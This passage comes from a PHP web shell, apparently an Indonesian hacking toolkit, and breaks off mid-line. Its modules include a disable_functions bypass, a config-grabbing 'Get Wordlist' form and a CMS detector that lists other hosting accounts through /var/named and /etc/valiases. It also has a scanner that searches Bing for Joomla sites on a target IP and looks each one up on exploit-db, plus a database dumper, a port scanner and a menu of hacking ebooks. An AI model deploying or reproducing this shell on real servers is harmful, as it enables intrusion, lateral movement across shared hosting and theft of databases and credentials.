value="passwd">        \t\t\t\t\r\n    </strong>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>\r\n    <td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="foldername" type="text"></strong></td>\r\n\t</strong>\r\n    </td>\r\n    </tr>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" style="width: 139px"></td>\r\n    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">\r\n    </strong>\r\n    </td>\r\n    <tr>\r\n</form>   \r\n<tr>\r\n    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>\r\n    \t\t\t\t</tr>\r\n<form method="POST" target="_blank">\r\n\t<strong>\r\n<input name="pass" type="hidden" value="password">        \t\t\t\t\r\n    </strong>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>\r\n    <td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="url" type="text"></strong></td>\r\n\t</strong>\r\n    </td>\r\n    </tr>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" style="width: 139px"></td>\r\n    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">\r\n    </strong>\r\n    </td>\r\n    <tr>\r\n</form>\r\n<tr>\r\n    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info \r\n\tSecurity</strong></td>\r\n    \t\t\t\t</tr>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>\r\n    <td valign="top" bgcolor="#151515" colspan="5">\r\n\t<strong>\r\n<?php\r\n$safe_mode = ini_get(\'safe_mode\');\r\nif($safe_mode==\'1\')\r\n{\r\necho \'ON\';\r\n}else{\r\necho \'OFF\';\r\n}\r\n\r\n?>\t\r\n\t</strong>\t\r\n\t</td>\r\n    \t\t\t\t</tr>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>\r\n    <td valign="top" bgcolor="#151515" colspan="5">\r\n\t<strong>\r\n<form method="POST" target="_blank">\r\n\t<strong>\r\n<input name="matikan" type="hidden" value="sekatan">        \t\t\t\t\r\n    </strong>\r\n\r\n<?php\r\nif(\'\'==($func=@ini_get(\'disable_functions\')))\r\n{\r\necho "<font color=#00ff00>No Security for Function</font></b>";\r\n}else{\r\necho \'<script>alert("Please see below and press >Please Click Here First!<");</script>\';\r\necho "<font color=red>$func</font></b>";\r\necho \'<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>\';\r\necho \'<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">\r\n    </strong>\r\n    </td></tr>\';\r\n}\r\n?></strong></td></tr></table></table></table>\r\n<?\r\n}\r\n///////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tutor\'))\r\n    {\r\n    ?>\r\n\t<form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">\r\n\t<center><br><br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>\r\n\t\t<form method="post" action="">\r\n<table class="tabnet" border="1" >\r\n<tr>\r\n\t\t<td align="center">English</td><td align="center">Indonesian</td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td><form method="post" action="">&nbsp;\r\n\tE-book Hacking &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;\r\n\t<select class="inputzbut" name="pilih" id="pilih">\r\n\t<option value=""selected>-----------------[ Select ]-----------------</option>\r\n\t<option value="tutorial24" > Hacking Exposed-5 </option>\r\n\t<option value="tutorial25"> Internet Denial Of Service </option>\r\n\t<option value="tutorial26">Computer Viruses For Dummies</option>\r\n\t<option value="tutorial27">Hack Attacks Testing</option>\r\n\t<option value="tutorial28">Secrets Of A Super Hacker</option>\r\n\t<option value="tutorial29">Stealing The Network</option>\r\n\t<option value="tutorial30">Hacker\'s HandBook</option>\r\n\t</select>\r\n\t<input  type="submit" name="submit" class="inputzbut" value="Download">\r\n\t</td></form>\r\n<td><form method="post" action="">&nbsp;\r\nTutorial by X\'1N73CT &nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;\r\n\t<select class="inputzbut"  name="pilih" id="pilih">\r\n\t<option value=""selected>-----------------[ Select ]-----------------</option>\r\n\t\t<option value="tutorial2">Search Engine Hacking</option>\r\n\t\t<option value="tutorial3">SQL Injection dengan hackbar</option>\r\n\t\t<option value="tutorial1" >Bypass Union</option>\r\n\t</select>\r\n\t<input  type="submit" name="submit" class="inputzbut" value="Download">\r\n</form></td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<form method="post" action="">&nbsp;\r\nE-Book from Syn|gress &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;\r\n\t<select class="inputzbut"  name="pilih" id="pilih">\r\n\t<option value=""selected>-----------------[ Select ]-----------------</option>\r\n\t<option value="cryptography_for_defeloper">Cryptography for Developer</option>\r\n\t<option value="tutorial31">Mobile Malware Attack and Defense</option>\r\n\t<option value="forensic">CD and DVD Forensic</option>\r\n\t<option value="ddd">Open Sourch Security Tools</option>\r\n\t<option value="metasploit">Metaslpoit Toolkit</option>\r\n\t<option value="stealing_network">Stealing the Network</option>\r\n\t<option value="security_polices">Creating Security Polices</option>\r\n\t</select>\r\n\t<input  type="submit" name="submit" class="inputzbut" value="Download">\r\n</form></td>\r\n<td>\r\n<form method="post" action="">&nbsp;\r\nX-CODE MAGAZINE &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;\r\n\t<select class="inputzbut" name="pilih" id="pilih">\r\n\t<option value=""selected>-----------------[ Select ]-----------------</option>\r\n\t<option value="tutorial4">X-CODE MAGAZINE 1</option>\r\n\t<option value="tutorial5">X-CODE MAGAZINE 2</option>\r\n\t<option value="tutorial6">X-CODE MAGAZINE 3</option>\r\n\t<option value="tutorial7">X-CODE MAGAZINE 4</option>\r\n\t<option value="tutorial8">X-CODE MAGAZINE 5</option>\r\n\t<option value="tutorial9">X-CODE MAGAZINE 6</option>\r\n\t<option value="tutorial10">X-CODE MAGAZINE 7</option>\r\n\t<option value="tutorial11">X-CODE MAGAZINE 8</option>\r\n\t<option value="tutorial12">X-CODE MAGAZINE 9</option>\r\n\t<option value="tutorial13">X-CODE MAGAZINE 10</option>\r\n\t<option value="tutorial14">X-CODE MAGAZINE 11</option>\r\n\t<option value="tutorial15">X-CODE MAGAZINE 12</option>\r\n\t<option value="tutorial16">X-CODE MAGAZINE 13</option>\r\n\t<option value="tutorial17">X-CODE MAGAZINE 14</option>\r\n\t<option value="tutorial18">X-CODE MAGAZINE 15</option>\r\n\t<option value="tutorial19">X-CODE MAGAZINE 16</option>\r\n\t<option value="tutorial20">X-CODE MAGAZINE 17</option>\r\n\t<option value="tutorial21">X-CODE MAGAZINE 18</option>\r\n\t<option value="tutorial22">X-CODE MAGAZINE 19</option>\r\n\t<option value="tutorial23">X-CODE MAGAZINE 20</option>\r\n\t<option value="tutorial024">X-CODE MAGAZINE 21</option>\r\n\t</select>\r\n\t<input type="submit" name="submit" class="inputzbut" value="Download" ></a>\r\n</form></td></tr></table><br><br>\r\n<?php\r\n$submit = $_POST [\'submit\'];\r\nif(isset($submit)) {\r\n\t$pilih = $_POST[\'pilih\'];\r\n\t\tif ( $pilih == \'tutorial1\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial2\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial3\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial4\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_1.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial5\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_2.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial6\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_3.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial7\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_4.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial8\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_5.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial9\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_6.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial10\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_7.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial11\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_8.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial12\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode9.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial13\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode10.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial14\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode11.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial15\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/Xcode12.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial16\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/Xcode13.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial17\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/Xcode14.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial18\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/Xcode15.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial19\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_16.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial20\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_17.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial21\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_18.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial22\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_19.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial23\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_20.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial024\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_21.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\t\r\n\t\telseif ( $pilih == \'tutorial24\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/hacking_exposed_5.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial25\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/internet_denial_of_service.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial26\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial27\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/hack_attacks_testing.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial28\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial29\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial30\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'ddd\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial31\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'cryptography_for_defeloper\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'forensic\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'metasploit\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}elseif ( $pilih == \'stealing_network\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}elseif ( $pilih == \'security_polices\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n}\r\n\r\n}\r\n////////////////////////////////////////////////////////////////////\r\n\r\n//////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cms_detect\'))\r\n    {\r\n    ?>\r\n    <form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">\r\n\t<br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>\r\n    <?php\r\nif(!file_exists(\'pee.tmp\')){\r\n@fopen(\'pee.tmp\', \'w\');\r\n\r\necho\'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">\';\r\necho\'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>\';\r\n\r\n$p = 0;\r\n\r\nif(is_readable("/var/named")){\r\n$list = scandir("/var/named");\r\n$current_dir = posix_getcwd();\r\n$dir = explode("/",$current_dir);\r\nforeach($list as $domain){\r\nif(strpos($domain,".db"))\r\n{\r\n\t$domain = str_replace(\'.db\',\'\',$domain);\r\n\t$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));\r\n\t\r\nerror_reporting(0);\r\n\r\n$link = $pageURL.\'pee/\'.$owner[\'name\'];\r\n\r\ncms_add($link,$domain,$owner[\'name\'],"WordPress");\r\ncms_add($link,$domain,$owner[\'name\'],"Joomla");\r\ncms_add($link,$domain,$owner[\'name\'],"vBulletin");\r\ncms_add($link,$domain,$owner[\'name\'],"WHMCS");\r\ncms_add($link,$domain,$owner[\'name\'],"PhpBB");\r\ncms_add($link,$domain,$owner[\'name\'],"MyBB");\r\ncms_add($link,$domain,$owner[\'name\'],"IPB");\r\ncms_add($link,$domain,$owner[\'name\'],"SMF");\r\ncms_add($link,$domain,$owner[\'name\'],"Drupal");\r\ncms_add($link,$domain,$owner[\'name\'],"e107");\r\ncms_add($link,$domain,$owner[\'name\'],"Seditio");\r\ncms_add($link,$domain,$owner[\'name\'],"osCommerce");\r\n\r\n}\r\n}\r\n}\r\n}else{\r\necho\'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">\';\r\necho\'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>\';\r\n$content = file_get_contents($pageURL.\'pee.tmp\');\r\necho $content;\r\n}\r\n}\r\n/////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jss\'))\r\n    {\r\n    ?>\r\n    <form action="?y=<?php echo $pwd; ?>&x=jss" method="post">\r\n    <?php\r\n\techo \'\r\n\r\n<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>\r\n<form method="POST">\r\n        <p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>\r\n</form><center>\r\n\r\n\';\r\n@set_time_limit(0);\r\n@error_reporting(E_ALL | E_NOTICE);\r\n \r\nfunction check_exploit($comxx){\r\n \r\n$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";\r\n \r\n$result = @file_get_contents($link);\r\n \r\nif (eregi("No results",$result))  {\r\n \r\necho"<td>Not Found</td><td><a href=\'http://www.google.com/#hl=en&q=download+$comxx+joomla+extension\'>Download</a></td></tr>";\r\n \r\n}else{\r\n \r\necho"<td><a href=\'$link\'>Found</a></td><td><=</td></tr>";\r\n \r\n}\r\n}\r\n \r\nfunction check_com($url){\r\n \r\n$source = @file_get_contents($url);\r\n \r\npreg_match_all(\'{option,(.*?)/}i\',$source,$f);\r\npreg_match_all(\'{option=(.*?)(&amp;|&|")}i\',$source,$f2);\r\npreg_match_all(\'{/components/(.*?)/}i\',$source,$f3);\r\n \r\n$arz=array_merge($f2[1],$f[1],$f3[1]);\r\n \r\n$coms=array();\r\n \r\nforeach(array_unique($arz) as $x){\r\n$coms[]=$x;\r\n}\r\n \r\nforeach($coms as $comm){\r\n \r\necho "<tr><td>$comm</td>";\r\ncheck_exploit($comm);\r\n}\r\n \r\n}\r\n \r\nfunction sec($site){\r\npreg_match_all(\'{http://(.*?)(/index.php)}siU\',$site, $sites);\r\nif(eregi("www",$sites[0][0])){\r\nreturn $site=str_replace("index.php","",$sites[0][0]);\r\n}else{\r\nreturn $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));\r\n}}\r\n \r\n$npages = 50000;\r\n \r\nif ($_POST)\r\n{\r\n  $ip = trim(strip_tags($_POST[\'site\']));\r\n  $npage = 1;\r\n  $allLinks = array();\r\n \r\n \r\n   while($npage <= $npages)\r\n  {\r\n \r\n  $x=@file_get_contents(\'http://www.bing.com/search?q=ip%3A\' . $ip . \'+index.php?option=com&first=\' . $npage);\r\n \r\n \r\n        if ($x)\r\n        {\r\n                preg_match_all(\'(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU\', $x, $findlink);\r\n              \r\n                foreach ($findlink[1] as $fl)\r\n              \r\n                $allLinks[]=sec($fl);\r\n              \r\n              \r\n                $npage = $npage + 10;\r\n              \r\n                if (preg_match(\'(first=\' . $npage . \'&amp)siU\', $x, $linksuiv) == 0)\r\n                        break;                    \r\n        }\r\n      \r\n    else\r\n                break;\r\n  }\r\n \r\n \r\n$allDmns = array();\r\n \r\nforeach ($allLinks as $kk => $vv){\r\n \r\n$allDmns[] = $vv;\r\n}\r\n                      \r\necho\'<table border="1"  width=\\"80%\\" align=\\"center\\">\r\n<tr><td width=\\"30%\\"><b>Server IP&nbsp;&nbsp;&nbsp;&nbsp; : </b></td><td><b>\'.$ip.\'</b></td></tr>                    \r\n<tr><td width=\\"30%\\"><b>Sites Found&nbsp; : </b></td><td><b>\'.count(array_unique($allDmns)).\'</b></td></tr>\r\n</table>\';\r\necho "<br><br>";\r\n \r\necho\'<table border="1" width="80%" align=\\"center\\">\';\r\n \r\nforeach(array_unique($allDmns) as $h3h3){\r\n \r\necho\'<tr id=new><td><b><a href=\'.$h3h3.\'>\'.$h3h3.\'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>\';\r\n \r\ncheck_com($h3h3);\r\n \r\n}\r\n \r\necho"</table>";\r\n \r\n}\r\n}\r\n/////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dump\'))\r\n    {\r\n    ?>\r\n    <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">\r\n    <?php\r\necho $head.\'<p align="center">\';\r\necho \'\r\n<table width=371 class=tabnet >\r\n<tr><th colspan="2">Database Dump</th></tr>\r\n<tr>\r\n\t<td>Server </td>\r\n\t<td><input class="inputz" type=text name=server size=52></td></tr><tr>\r\n\t<td>Username</td>\r\n\t<td><input class="inputz" type=text name=username size=52></td></tr><tr>\r\n\t<td>Password</td>\r\n\t<td><input class="inputz" type=text name=password size=52></td></tr><tr>\r\n\t<td>DataBase Name</td>\r\n\t<td><input class="inputz" type=text name=dbname size=52></td></tr>\r\n\t<tr>\r\n\t<td>DB Type </td>\r\n\t<td><form method=post action="\'.$me.\'">\r\n\t<select class="inputz" name=method>\r\n\t\t<option  value="gzip">Gzip</option>\r\n\t\t<option value="sql">Sql</option>\r\n\t\t</select>\r\n\t<input class="inputzbut" type=submit value="  Dump!  " ></td></tr>\r\n\t</form></center></table>\';\r\nif ($_POST[\'username\'] && $_POST[\'dbname\'] && $_POST[\'method\']){\r\n$date = date("Y-m-d");\r\n$dbserver = $_POST[\'server\'];\r\n$dbuser = $_POST[\'username\'];\r\n$dbpass = $_POST[\'password\'];\r\n$dbname = $_POST[\'dbname\'];\r\n$file = "Dump-$dbname-$date";\r\n$method = $_POST[\'method\'];\r\nif ($method==\'sql\'){\r\n$file="Dump-$dbname-$date.sql";\r\n$fp=fopen($file,"w");\r\n}else{\r\n$file="Dump-$dbname-$date.sql.gz";\r\n$fp = gzopen($file,"w");\r\n}\r\nfunction write($data) {\r\nglobal $fp;\r\nif ($_POST[\'method\']==\'ssql\'){\r\nfwrite($fp,$data);\r\n}else{\r\ngzwrite($fp, $data);\r\n}}\r\nmysql_connect ($dbserver, $dbuser, $dbpass);\r\nmysql_select_db($dbname);\r\n$tables = mysql_query ("SHOW TABLES");\r\nwhile ($i = mysql_fetch_array($tables)) {\r\n    $i = $i[\'Tables_in_\'.$dbname];\r\n    $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));\r\n    write($create[\'Create Table\'].";\\n\\n");\r\n    $sql = mysql_query ("SELECT * FROM ".$i);\r\n    if (mysql_num_rows($sql)) {\r\n        while ($row = mysql_fetch_row($sql)) {\r\n            foreach ($row as $j => $k) {\r\n                $row[$j] = "\'".mysql_escape_string($k)."\'";\r\n            }\r\n            write("INSERT INTO $i VALUES(".implode(",", $row).");\\n");\r\n        }\r\n    }\r\n}\r\nif ($method==\'ssql\'){\r\nfclose ($fp);\r\n}else{\r\ngzclose($fp);}\r\nheader("Content-Disposition: attachment; filename=" . $file);   \r\nheader("Content-Type: application/download");\r\nheader("Content-Length: " . filesize($file));\r\nflush();\r\n\r\n$fp = fopen($file, "r");\r\nwhile (!feof($fp))\r\n{\r\n    echo fread($fp, 65536);\r\n    flush();\r\n} \r\nfclose($fp); \r\n}\r\n\r\n}\r\n/////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'port-sc\'))\r\n    {\r\n    ?>\r\n    <form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">\r\n    <?php\r\n    echo \'<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>\';\r\n    $start = strip_tags($_POST[\'start\']);\r\n    $end = strip_tags($_POST[\'end\']);\r\n    $host = strip_tags($_POST[\'host\']);\r\n    if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){\r\n    for($i = $start; $i<=$end; $i++){\r\n    $fp = @fsockopen($host, $i, $errno, $errstr, 3);\r\n    if($fp){\r\n    echo \'Port \'.$i.\' is <font color=green>open</font><br>\';\r\n    }\r\n    flush();\r\n    }\r\n    }else{\r\n    echo \'<table class=tabnet style="width:300px;padding:0 1px;">\r\n   <input type="hidden" name="y" value="phptools">\r\n   <tr><th colspan="5">Port Scanner</th></center></tr>\r\n   <tr>\r\n\t\t<td>Host</td>\r\n\t\t<td><input type="text" class="inputz"  style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>\r\n   </tr>\r\n   <tr>\r\n\t\t<td>Port start</td>\r\n\t\t<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>\r\n   </tr>\r\n\t<tr><td>Port end</td>\r\n\t\t<td><input type="text" class="inputz"  style="width:220px;color:#00ff00;" name="end" value="5000"/></td>\r\n   </tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />\r\n   </td></form></center></table>\';\r\n    }\r\n}\r\n/////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hash\'))\r\n    {\r\n$submit= $_POST[\'enter\'];\r\nif (isset($submit)) {\r\n$pass = $_POST[\'password\']; // password\r\n$salt = \'}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN\'; // random string\r\n$hash = md5($pass); // md5 hash #1\r\n$md4 = hash("md4",$pass);\r\n$hash_md5 = md5($salt.$pass); // 